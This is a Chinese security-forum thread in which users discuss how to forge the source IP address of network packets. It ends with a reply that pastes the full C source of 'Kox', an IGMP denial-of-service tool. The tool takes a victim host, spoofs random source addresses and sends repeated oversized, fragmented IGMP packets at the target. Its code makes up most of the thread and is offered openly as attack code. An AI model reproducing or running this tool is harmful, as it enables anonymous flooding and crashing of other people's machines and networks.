论坛: 编程破解 标题: 给大家出个题! 编程 复制本贴地址    
作者: icesky [icesky]    论坛用户   登录
把自己发的数据包的ip改变..呵呵:)大家回家去做吧!但是不能用现存的软件.

地主 发表时间: 02/27 17:09

回复: icesky [icesky]   论坛用户   登录
怎么没人理我.555555555..........,aeonwind出来啊.溶,晓谰,老大来啊.


[此贴被 icesky(icesky) 在 2月27日17时28分 编辑过]

B1层 发表时间: 2/27 17:27

回复: netboy [netboy]   论坛用户   登录
变态~~你想让他一去不回头呀~~? :-)

B2层 发表时间: 02/27 17:32

回复: cimsxiyang [cimsxiyang]   版主   登录
不瞒你说,你的想法我以前也有过.
但是,这种设想在逻辑上和技术上(可能)是不可行的.
就我个人认为.从udp的角度考虑一下,是不是还有一点比较渺茫的希望呢?
还请指教!
end

B3层 发表时间: 02/27 19:26

回复: icesky [icesky]   论坛用户   登录
我学的是unix网络编程.我想应该可以.但是我还没学多少.所以...++++++

B4层 发表时间: 02/27 20:25

回复: cimsxiyang [cimsxiyang]   版主   登录
楼上的兄弟,反正你也在,你不妨说说"应该可以"的理由.

B5层 发表时间: 02/27 20:49

回复: icesky [icesky]   论坛用户   登录
因为这种软件已经有了.

B6层 发表时间: 02/27 20:51

回复: cimsxiyang [cimsxiyang]   版主   登录
恕在下孤陋寡闻,同时也觉得有点不可理解,能否指点一下.

B7层 发表时间: 02/27 20:55

回复: icesky [icesky]   论坛用户   登录
我在一篇文章看有这个软件.所以想自己做.

B8层 发表时间: 02/27 20:57

回复: wulang [wulang]   论坛用户   登录
可以用代理



B9层 发表时间: 09/01 08:15

回复: ilovepeace [ilovepeace]   论坛用户   登录
不能调用sendto()函数,它直接将数据打成ip包----小弟想的。请高人出来说说fake ip的做法!

B10层 发表时间: 09/01 12:10

回复: 286 [unique]   版主   登录
如果你要的仅仅是把假IP的数据包发出去,而不管是否接收回包,那应该不是件难事。作法是用RAW套接字发送。发送时IP随便生成就生了。在Unix下应该更简单,但由于本人不太熟,所以不好说。


B11层 发表时间: 09/01 14:38

回复: Garu [syshunter]   版主   登录
struct iphdr *ip; 
ip->saddr = ***;
ip->daddr = ***; 
   大概就这意思吧

B12层 发表时间: 09/01 15:31

回复: TomyChen [quest]   版主   登录
可以,而且绝对可以,我见过,而且原来有现成的代码,当时没好好研究...现在后悔啊...

B13层 发表时间: 09/01 16:37

回复: shesh [shesh]   版主   登录
我这有现成的代码啊.

网也也不少呢.但只能发,没办法接收.

B14层 发表时间: 09/01 18:31

回复: Garu [syshunter]   版主   登录
抄来的IGMP攻击的代码
代码:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>


void usage(char *arg)
{
printf("Kox by Coolio (coolio@k-r4d.com)\n");
printf("Usage: %s <victim>\n", arg);
exit(1);
}


unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);

sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);

inet_aton(buf, (struct in_addr *)&sin);
return sin.sin_addr.s_addr;
}

unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;

while(len > 1) {
sum += *buh++;
len -= 2;
}

if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}

int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
{
int BIGIGMP = 1500;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct utsname *un;
struct passwd *p;

int i, s;
int id = (random() % 40000) + 500;

pkt = (unsigned char *)calloc(1, BIGIGMP);
ip = (struct iphdr *)pkt;
igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));

ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(BIGIGMP);
ip->protocol = IPPROTO_IGMP;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = spoof;                //就这个地方
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

igmp->type = 0;
igmp->group = 0;
igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));

for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
i < BIGIGMP; i++)
pkt[i] = random() % 255;
#ifndef I_GROK
un = (struct utsname *)(pkt + sizeof(struct iphdr) +
sizeof(struct igmphdr) + 40);
uname(un);
p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
#endif
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}

if(sendto(s, pkt, BIGIGMP, 0, victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
usleep(1000000);

for(i = 1; i < 5; i++) {
if(i > 3)
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
else
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
usleep(2000000);
}

free(pkt);
close(s);
return 0;
}

int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
int i;

srandom(time(NULL));

if(argc < 2)
usage(argv[0]);

if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;

printf("IGMP> ");
fflush(stdout);
for(i = 0; i < 10; i++)
{
nuke_igmp(&victim, randip());
printf(".");
fflush(stdout);
}
printf("\n");
fflush(stdout);
}


其实有办法收到包,好象是要再弄台机器来把他收到的包转发给你,不过太复杂了,懒得去想,更懒得去看,哈哈


B15层 发表时间: 09/01 19:40

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号